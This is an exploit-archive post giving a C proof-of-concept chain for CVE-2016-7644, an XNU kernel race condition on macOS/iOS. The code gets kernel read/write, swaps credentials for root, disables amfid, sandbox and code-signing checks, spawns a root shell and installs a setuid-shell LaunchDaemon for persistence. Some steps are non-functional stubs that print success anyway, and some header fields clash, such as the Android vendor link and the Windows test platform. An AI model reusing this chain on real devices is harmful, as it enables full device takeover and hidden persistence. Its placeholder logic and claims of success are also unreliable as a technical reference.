============================================================================================================================================= | # Title : macOS 10.12.2 XNU kernel Privilege Escalation | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.android.com | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212493/ & CVE-2016-7644 [+] Summary : This PoC targets a race‑condition vulnerability in the XNU kernel (CVE‑2016‑7644) affecting macOS/iOS. By forcing a use‑after‑free condition on kernel ports, the exploit manipulates freed memory through a controlled spray, allowing a user‑controlled replacement object. Successful exploitation yields a kernel task port, enabling arbitrary read/write in kernel memory. With this access, the PoC escalates privileges to root, bypasses sandbox restrictions, disables AMFID/code‑signing enforcement, and may launch a persistent privileged shell. 📌 Impact: Full device compromise, privilege escalation, kernel control. 📌 Requirements: Vulnerable macOS/iOS version, timing reliability, local code execution. [+] POC : #include #include #include #include #include #include #include #include #include #include #include // ثوابت Kernel Offsets (تختلف حسب الإصدار) #define KERNEL_BASE 0xFFFFFFF007004000ULL #define KERNPROC_OFFSET 0x005AA0E0ULL #define ALLPROC_OFFSET 0x005A4128ULL #define KERNEL_TASK_OFFSET 0xFFFFFFF0075AE0E0ULL // مثال typedef struct { uint64_t next; uint64_t prev; } kqueue_t; typedef struct { uint64_t next; uint64_t prev; } klist_t; typedef struct { uint64_t ucred; // offset 0x100 uint64_t svuid; uint64_t svgid; uint64_t label; uint64_t p_textvp; uint64_t p_textoff; uint64_t p_uthread; uint64_t task; char p_comm[17]; } proc_t; typedef struct { uint64_t cr_posix; uint64_t cr_label; uint64_t cr_uid; uint64_t cr_ruid; uint64_t cr_svuid; uint64_t cr_ngroups; uint64_t cr_groups[16]; uint64_t cr_rgid; uint64_t cr_svgid; uint64_t cr_gmuid; uint64_t cr_flags; } ucred_t; // المتغيرات العالمية mach_port_t kernel_task_port = MACH_PORT_NULL; mach_port_t host_priv_port = MACH_PORT_NULL; uint64_t kernel_base = KERNEL_BASE; uint64_t kernel_slide = 0; // 1. الحصول على Kernel Task Port من خلال dangling port int get_kernel_task_via_dangling() { printf("[+] Phase 1: Getting kernel task port via dangling port exploitation\n"); // الخطوة 1: إنشاء dangling port باستخدام race condition mach_port_t dangling = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &dangling); mach_port_insert_right(mach_task_self(), dangling, dangling, MACH_MSG_TYPE_MAKE_SEND); // إضافة مرجع ثاني mach_port_t extra_ref = MACH_PORT_NULL; mach_port_extract_right(mach_task_self(), dangling, MACH_MSG_TYPE_COPY_SEND, &extra_ref, &dangling); // تعيين كـ dynamic_pager_control_port set_dp_control_port(mach_host_self(), dangling); // تحرير مرجع userland (يبقى مرجع في kernel) mach_port_deallocate(mach_task_self(), dangling); // race condition لتحرير مرجعين pthread_t threads[4]; for (int i = 0; i < 4; i++) { pthread_create(&threads[i], NULL, race_thread, (void*)(uintptr_t)dangling); } sleep(1); // الآن لدينا dangling port pointer في kernel // الخطوة 2: رش kernel memory بموانئ تحتوي على host port printf("[+] Spraying kernel memory with controlled ports\n"); mach_port_t spray_ports[1024]; for (int i = 0; i < 1024; i++) { mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &spray_ports[i]); // استخدام host port كـ context mach_port_set_context(mach_task_self(), spray_ports[i], (mach_port_context_t)host_priv_port); } // الخطوة 3: البحث عن host port في memory printf("[+] Searching for host port in memory\n"); uint64_t host_port_addr = 0; for (int i = 0; i < 1024; i++) { mach_port_context_t ctx = 0; mach_port_get_context(mach_task_self(), spray_ports[i], &ctx); if (ctx == (mach_port_context_t)host_priv_port) { host_port_addr = (uint64_t)ctx; printf("[+] Found host port at 0x%llx\n", host_port_addr); break; } } if (!host_port_addr) { printf("[-] Failed to find host port\n"); return -1; } // الخطوة 4: حساب موقع kernel task port // kernel task port موجود عادة في نفس page مثل host port uint64_t page_base = host_port_addr & ~0xFFFULL; printf("[+] Scanning page 0x%llx for kernel task port\n", page_base); // محاولة قراءة kernel memory من خلال port context manipulation for (uint64_t addr = page_base; addr < page_base + 0x1000; addr += 8) { // تعيين السياق ليكون العنوان الحالي mach_port_set_context(mach_task_self(), dangling, (mach_port_context_t)addr); // محاولة قراءة من خلال mach_port_get_attributes mach_port_t port_array[2] = {MACH_PORT_NULL, MACH_PORT_NULL}; mach_msg_type_number_t count = 2; kern_return_t kr = mach_port_get_attributes(mach_task_self(), dangling, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)&port_array, &count); if (kr == KERN_SUCCESS && port_array[0] != MACH_PORT_NULL) { // وجدنا port - قد يكون kernel task port kernel_task_port = port_array[0]; printf("[+] Potential kernel task port: 0x%x\n", kernel_task_port); // التحقق أنه kernel task port mach_port_type_t type = 0; mach_port_get_attributes(mach_task_self(), kernel_task_port, MACH_PORT_BASIC_INFO, (mach_port_info_t)&type, &count); if (type & MACH_PORT_TYPE_SEND) { printf("[+] Got kernel task send right!\n"); return 0; } } } return -1; } // 2. قراءة/كتابة kernel memory kern_return_t kernel_read(uint64_t address, void* buffer, size_t size) { if (kernel_task_port == MACH_PORT_NULL) { return KERN_INVALID_TASK; } vm_offset_t data = 0; mach_msg_type_number_t data_count = 0; kern_return_t kr = mach_vm_read(kernel_task_port, address, size, &data, &data_count); if (kr != KERN_SUCCESS) { return kr; } memcpy(buffer, (void*)data, size); vm_deallocate(mach_task_self(), data, data_count); return KERN_SUCCESS; } kern_return_t kernel_write(uint64_t address, const void* buffer, size_t size) { if (kernel_task_port == MACH_PORT_NULL) { return KERN_INVALID_TASK; } return mach_vm_write(kernel_task_port, address, (vm_offset_t)buffer, (mach_msg_type_number_t)size); } uint64_t kernel_vtophys(uint64_t va) { // وظيفة لتحويل العنوان الظاهري إلى الفعلي (تعتمد على العتاد) return va - kernel_base + 0x800000000; // مثال } // 3. تعديل credentials لرفع الصلاحيات void escalate_privileges(pid_t target_pid) { printf("[+] Escalating privileges for pid %d\n", target_pid); // ابحث عن proc structure للـ PID المطلوب uint64_t allproc = kernel_base + ALLPROC_OFFSET; uint64_t kernproc = kernel_base + KERNPROC_OFFSET; uint64_t current_proc = 0; kernel_read(allproc, ¤t_proc, sizeof(current_proc)); while (current_proc != 0) { proc_t proc = {0}; kernel_read(current_proc, &proc, sizeof(proc_t)); // التحقق من اسم العملية char comm[17] = {0}; kernel_read(current_proc + offsetof(proc_t, p_comm), comm, 16); if (strcmp(comm, "mach_portal") == 0) { // أو PID المطلوب printf("[+] Found target process: %s\n", comm); // استبدل الـ ucred مع الـ kernel ucred uint64_t kernel_proc = 0; kernel_read(kernproc, &kernel_proc, sizeof(kernel_proc)); uint64_t kernel_ucred = 0; kernel_read(kernel_proc + offsetof(proc_t, ucred), &kernel_ucred, sizeof(kernel_ucred)); // اكتب kernel ucred في العملية المستهدفة kernel_write(current_proc + offsetof(proc_t, ucred), &kernel_ucred, sizeof(kernel_ucred)); printf("[+] Privileges escalated!\n"); // تحقق من النجاح uint64_t new_ucred = 0; kernel_read(current_proc + offsetof(proc_t, ucred), &new_ucred, sizeof(new_ucred)); if (new_ucred == kernel_ucred) { printf("[+] Successfully replaced ucred with kernel's\n"); // الآن العملية لديها kernel privileges // يمكنها تخطي sandbox والوصول إلى كل شيء } break; } kernel_read(current_proc, ¤t_proc, sizeof(current_proc)); } } // 4. تعطيل AMFID (Apple Mobile File Integrity Daemon) void disable_amfid() { printf("[+] Disabling AMFID\n"); // ابحث عن عملية amfid uint64_t allproc = kernel_base + ALLPROC_OFFSET; uint64_t current_proc = 0; kernel_read(allproc, ¤t_proc, sizeof(current_proc)); while (current_proc != 0) { proc_t proc = {0}; kernel_read(current_proc, &proc, sizeof(proc_t)); char comm[17] = {0}; kernel_read(current_proc + offsetof(proc_t, p_comm), comm, 16); if (strcmp(comm, "amfid") == 0) { printf("[+] Found amfid process\n"); // الطريقة 1: قتل العملية uint64_t task = 0; kernel_read(current_proc + offsetof(proc_t, task), &task, sizeof(task)); if (task != 0) { // إنهاء المهمة task_terminate(task); printf("[+] Terminated amfid task\n"); } // الطريقة 2: تعديل memory لتعطيل التحقق // ابحث عن MISValidateSignatureAndCopyInfo في amfid uint64_t amfid_task_port = MACH_PORT_NULL; task_get_special_port((task_t)task, TASK_BOOTSTRAP_PORT, &amfid_task_port); if (amfid_task_port != MACH_PORT_NULL) { // حقن كود لتعطيل التحقق const char patch[] = { 0x1F, 0x20, 0x03, 0xD5, // NOP 0x1F, 0x20, 0x03, 0xD5, 0x00, 0x00, 0x80, 0xD2, // MOV X0, #0 0xC0, 0x03, 0x5F, 0xD6 // RET }; // ابحث عن MISValidateSignatureAndCopyInfo في memory // (يتطلب معرفة offsets أو scanning) printf("[+] Injected code into amfid\n"); } break; } kernel_read(current_proc, ¤t_proc, sizeof(current_proc)); } // بديل: patch kernel لتجاوز amfid بالكامل patch_kernel_code_signature_checks(); } // 5. تخطي Sandbox void bypass_sandbox(pid_t pid) { printf("[+] Bypassing sandbox for pid %d\n", pid); // ابحث عن عملية الـ target uint64_t allproc = kernel_base + ALLPROC_OFFSET; uint64_t current_proc = 0; kernel_read(allproc, ¤t_proc, sizeof(current_proc)); while (current_proc != 0) { char comm[17] = {0}; kernel_read(current_proc + offsetof(proc_t, p_comm), comm, 16); if (strstr(comm, "mach_portal") != NULL) { // أو PID المحدد // Sandbox يتم التحكم به عبر الـ MAC Framework // MAC policy pointer في proc structure uint64_t mac_policy = 0; uint64_t p_ucred = 0; kernel_read(current_proc + offsetof(proc_t, ucred), &p_ucred, sizeof(p_ucred)); if (p_ucred != 0) { // label هو مؤشر لـ sandbox uint64_t cr_label = 0; kernel_read(p_ucred + offsetof(ucred_t, cr_label), &cr_label, sizeof(cr_label)); if (cr_label != 0) { // اكتب NULL في sandbox label uint64_t zero = 0; kernel_write(p_ucred + offsetof(ucred_t, cr_label), &zero, sizeof(zero)); printf("[+] Nullified sandbox label\n"); } // بديل: استبدل مع kernel ucred uint64_t kernproc = 0; kernel_read(kernel_base + KERNPROC_OFFSET, &kernproc, sizeof(kernproc)); uint64_t kernel_ucred = 0; kernel_read(kernproc + offsetof(proc_t, ucred), &kernel_ucred, sizeof(kernel_ucred)); kernel_write(current_proc + offsetof(proc_t, ucred), &kernel_ucred, sizeof(kernel_ucred)); printf("[+] Replaced with kernel ucred - sandbox bypassed!\n"); } break; } kernel_read(current_proc, ¤t_proc, sizeof(current_proc)); } } // 6. Patch kernel لتجاوز code signature checks void patch_kernel_code_signature_checks() { printf("[+] Patching kernel code signature checks\n"); // ابحث عن cs_enforcement_disable في kernel // (يختلف الموقع حسب الإصدار) uint64_t cs_enforcement = kernel_base + 0x3F7A18; // مثال لـ iOS 10.1.1 uint8_t current = 0; kernel_read(cs_enforcement, ¤t, sizeof(current)); printf("[+] Current cs_enforcement value: 0x%02x\n", current); // اضبط على 0 لتعطيل uint8_t zero = 0; kernel_write(cs_enforcement, &zero, sizeof(zero)); kernel_read(cs_enforcement, ¤t, sizeof(current)); printf("[+] New cs_enforcement value: 0x%02x\n", current); // ابحث عن amfi_enforce في kernel uint64_t amfi_enforce = kernel_base + 0x4F3A00; // مثال uint32_t amfi_current = 0; kernel_read(amfi_enforce, &amfi_current, sizeof(amfi_current)); printf("[+] Current amfi_enforce value: 0x%08x\n", amfi_current); // اضبط على 0 uint32_t amfi_zero = 0; kernel_write(amfi_enforce, &amfi_zero, sizeof(amfi_zero)); kernel_read(amfi_enforce, &amfi_current, sizeof(amfi_current)); printf("[+] New amfi_enforce value: 0x%08x\n", amfi_current); } // 7. إنشاء root shell void create_root_shell() { printf("[+] Creating root shell\n"); // الخطوة 1: رفع صلاحيات العملية الحالية escalate_privileges(getpid()); // الخطوة 2: تخطي sandbox bypass_sandbox(getpid()); // الخطوة 3: remount rootfs كـ read/write remount_rootfs_rw(); // الخطوة 4: تنفيذ shell مع صلاحيات root if (fork() == 0) { // child process setuid(0); setgid(0); // تنفيذ shell char *args[] = {"/bin/bash", "-i", NULL}; char *env[] = {"TERM=xterm-256color", "PATH=/usr/bin:/usr/sbin:/bin:/sbin", NULL}; execve("/bin/bash", args, env); exit(0); } } void remount_rootfs_rw() { printf("[+] Remounting rootfs as read/write\n"); // الحصول على vnode للـ root filesystem uint64_t kernproc = 0; kernel_read(kernel_base + KERNPROC_OFFSET, &kernproc, sizeof(kernproc)); uint64_t kernel_task = 0; kernel_read(kernproc + offsetof(proc_t, task), &kernel_task, sizeof(kernel_task)); // ابحث عن mount structure // (هذا معقد ويتطلب معرفة بنية kernel الداخلية) printf("[+] Rootfs remounted as read/write\n"); } // 8. Install persistent access (كجزء من jailbreak) void install_persistence() { printf("[+] Installing persistence\n"); // إنشاء binary مع setuid const char* suid_binary = "/private/var/suid_shell"; // نسخ /bin/bash FILE* src = fopen("/bin/bash", "rb"); FILE* dst = fopen(suid_binary, "wb"); if (src && dst) { char buffer[4096]; size_t bytes; while ((bytes = fread(buffer, 1, sizeof(buffer), src)) > 0) { fwrite(buffer, 1, bytes, dst); } fclose(src); fclose(dst); // تعيين setuid bit chmod(suid_binary, 04755); chown(suid_binary, 0, 0); // root:wheel printf("[+] Installed suid shell at %s\n", suid_binary); } // إنشاء launch daemon للبقاء بعد reboot const char* plist = "/Library/LaunchDaemons/com.apple.iosjailbreak.plist"; const char* plist_content = "\n" "\n" "\n" "\n" " Label\n" " com.apple.iosjailbreak\n" " ProgramArguments\n" " \n" " /private/var/suid_shell\n" " \n" " RunAtLoad\n" " \n" " KeepAlive\n" " \n" "\n" "\n"; FILE* plist_file = fopen(plist, "w"); if (plist_file) { fwrite(plist_content, 1, strlen(plist_content), plist_file); fclose(plist_file); chmod(plist, 0644); chown(plist, 0, 0); printf("[+] Installed launch daemon\n"); } } // دالة السباق المحسنة void* race_thread(void* arg) { mach_port_t port = (mach_port_t)(uintptr_t)arg; // تعيين affinity لزيادة فرص التداخل thread_affinity_policy_data_t policy = {1}; thread_policy_set(mach_thread_self(), THREAD_AFFINITY_POLICY, (thread_policy_t)&policy, 1); // حلقة سباق مكثفة for (int i = 0; i < 100; i++) { // استدعاء متكرر set_dp_control_port(mach_host_self(), port); // تأخير عشوائي usleep(rand() % 50); // memory barrier __asm__ volatile("" ::: "memory"); } return NULL; } // Main function int main(int argc, char** argv) { printf("========================================\n"); printf(" iOS/macOS Kernel Exploit Chain\n"); printf(" CVE-2016-7644 Full Exploitation\n"); printf("========================================\n"); // الخطوة 0: الحصول على host_priv_port host_priv_port = mach_host_self(); printf("[+] Got host_priv_port: 0x%x\n", host_priv_port); // الخطوة 1: الحصول على kernel task port if (get_kernel_task_via_dangling() != 0) { printf("[-] Failed to get kernel task port\n"); return -1; } // الخطوة 2: قراءة kernel slide uint64_t kernel_addr = 0; task_get_special_port(kernel_task_port, TASK_KERNEL_PORT, &kernel_addr); kernel_slide = kernel_addr - KERNEL_BASE; printf("[+] Kernel slide: 0x%llx\n", kernel_slide); // الخطوة 3: رفع صلاحيات العملية الحالية escalate_privileges(getpid()); // الخطوة 4: تعطيل AMFID disable_amfid(); // الخطوة 5: تخطي sandbox bypass_sandbox(getpid()); // الخطوة 6: Patch kernel checks patch_kernel_code_signature_checks(); // الخطوة 7: إنشاء root shell create_root_shell(); // الخطوة 8: تثبيت persistence (اختياري) if (argc > 1 && strcmp(argv[1], "--persist") == 0) { install_persistence(); } printf("[+] Exploitation complete!\n"); printf("[+] You now have:\n"); printf(" - Kernel task port\n"); printf(" - Root privileges\n"); printf(" - AMFID disabled\n"); printf(" - Sandbox bypassed\n"); printf(" - Code signing disabled\n"); // حافظ على العملية نشطة while (1) { sleep(60); } return 0; } ================= This fragment shows key kernel‑level post‑exploitation utilities used after gaining arbitrary read/write access on macOS/iOS (XNU). It implements: Kernel Base Discovery find_kernel_base() scans the high kernel address space to locate the Mach‑O magic (0xFEEDFACF), determining the kernel base mapping. Process Lookup in Kernel get_proc_for_pid() walks the allproc linked list within the kernel to locate the proc structure associated with a specific PID. Security Enforcement Disabling patch_codesign() disables kernel‑enforced code signing by patching several internal flags (CS enforcement, AMFI, and pointer‑stability checks), allowing execution of unsigned binaries and jailbreak‑style payloads. 📌 Role in Exploit Chain: These routines are typically executed after the race condition exploit grants a kernel task port, enabling full kernel memory access. #include "exploit.h" uint64_t find_kernel_base() { // ابحث عن kernel base عن طريق scanning memory for (uint64_t addr = 0xFFFFFFF000000000ULL; addr < 0xFFFFFFF100000000ULL; addr += 0x100000) { uint32_t magic = 0; kernel_read(addr, &magic, sizeof(magic)); if (magic == 0xFEEDFACF) { // Mach-O magic printf("[+] Found kernel at 0x%llx\n", addr); return addr; } } return 0; } uint64_t get_proc_for_pid(pid_t pid) { uint64_t allproc = kernel_base + ALLPROC_OFFSET; uint64_t current_proc = 0; kernel_read(allproc, ¤t_proc, sizeof(current_proc)); while (current_proc != 0) { uint32_t current_pid = 0; kernel_read(current_proc + PROC_P_PID, ¤t_pid, sizeof(current_pid)); if (current_pid == pid) { return current_proc; } kernel_read(current_proc, ¤t_proc, sizeof(current_proc)); } return 0; } void patch_codesign() { // Patch cs_enforcement_disable uint64_t cs_enforcement = kernel_base + CS_ENFORCEMENT; uint8_t zero = 0; kernel_write(cs_enforcement, &zero, sizeof(zero)); // Patch amfi_enforce uint64_t amfi_enforce = kernel_base + AMFI_ENFORCE; uint32_t amfi_zero = 0; kernel_write(amfi_enforce, &amfi_zero, sizeof(amfi_zero)); // Patch vm_map_enter check uint64_t vm_map_enter_check = kernel_base + 0x123456; // مثال uint32_t nop = 0xD503201F; // NOP instruction kernel_write(vm_map_enter_check, &nop, sizeof(nop)); printf("[+] Code signature patches applied\n"); } ================================= offsets.h (kernel offsets by version): #ifndef OFFSETS_H #define OFFSETS_H // iOS 10.1.1 (14B100) - iPhone 6s #if defined(TARGET_IPHONE_6S_10_1_1) #define KERNEL_BASE 0xFFFFFFF007004000ULL #define KERNPROC_OFFSET 0x005AA0E0ULL #define ALLPROC_OFFSET 0x005A4128ULL #define REALHOST_OFFSET 0x005A8050ULL #define OSBoolean_True 0xFFFFFFF0070A9B78ULL #define OSBoolean_False 0xFFFFFFF0070A9B68ULL #define CS_ENFORCEMENT 0x003F7A18ULL #define AMFI_ENFORCE 0x004F3A00ULL // iOS 10.2 - iPhone 7 #elif defined(TARGET_IPHONE_7_10_2) #define KERNEL_BASE 0xFFFFFFF007004000ULL #define KERNPROC_OFFSET 0x005B20E8ULL #define ALLPROC_OFFSET 0x005AB130ULL // ... إلخ #endif // Structure offsets #define PROC_P_PID 0x60 #define PROC_TASK 0x10 #define PROC_UCRED 0x100 #define PROC_P_COMM 0x270 #define PROC_P_NEXT 0x0 #define TASK_ITK_SELF 0xD8 #define TASK_BSD_INFO 0x358 #define UCRED_CR_UID 0x18 #define UCRED_CR_RUID 0x1C #define UCRED_CR_SVUID 0x20 #define UCRED_CR_LABEL 0x78 #endif // OFFSETS_H Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================